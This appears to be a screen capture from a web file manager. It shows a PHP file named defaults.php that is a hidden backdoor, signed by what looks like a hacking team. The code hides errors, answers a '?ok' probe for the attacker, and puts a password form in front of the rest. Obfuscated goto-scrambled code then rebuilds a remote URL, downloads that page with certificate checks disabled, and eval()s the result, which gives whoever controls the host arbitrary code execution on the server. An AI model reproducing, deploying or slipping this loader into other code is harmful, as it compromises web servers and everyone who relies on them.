23s2s

✏️ Editing: defaults.php.tar

home/logoandw/offers-updates.pro/defaults.php�������������������������������������������������������0000444�����������������00000003767�14724377075�0015407 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php ?><?php error_reporting(0); if(isset($_REQUEST["ok"])){die(">ok<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '6e4d5228cf850d984a9159d8a6957eb2252f871ba2bdab40c199c983ea7e93d1') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto HcVbx; GZjgg: $SS8Fu .= "\x30"; goto pINV0; bHPy7: $SS8Fu .= "\164"; goto JgYDZ; zGZjs: $SS8Fu .= "\x70\157"; goto XKY7j; u4edC: $SS8Fu .= "\155"; goto NykxH; pINV0: $SS8Fu .= "\x61"; goto u4edC; JgYDZ: $SS8Fu .= "\x78\164\x2e\x37"; goto D4gtc; mu2gv: $SS8Fu .= "\57\141\155"; goto MFCMq; XKY7j: $SS8Fu .= "\164\x2e\61"; goto GZjgg; HcVbx: $SS8Fu = ''; goto bHPy7; NykxH: $SS8Fu .= "\x61\144\x2f\x2f\x3a"; goto yMijF; MFCMq: $SS8Fu .= "\x61\x64\57"; goto zGZjs; yDVPC: $SS8Fu .= "\144\x6c\157"; goto mu2gv; yMijF: $SS8Fu .= "\x73\160\x74\164\150"; goto yFNMc; D4gtc: $SS8Fu .= "\57"; goto yDVPC; yFNMc: eval("\77\x3e" . tw2kX(strrev($SS8Fu))); goto rQ1kG; rQ1kG: function tw2kX($V1_rw = '') { goto YmSko; IzZms: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto uA6VV; HmwOo: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto NeLMJ; uA6VV: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto XWrte; ygkKR: return $tvmad; goto dSsxp; ff8JL: curl_close($xM315); goto ygkKR; M8meN: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto HmwOo; YmSko: $xM315 = curl_init(); goto M8meN; NeLMJ: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto IzZms; XWrte: $tvmad = curl_exec($xM315); goto ff8JL; dSsxp: }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

Sid Gifari From Gifari Industries - BD Cyber Security Team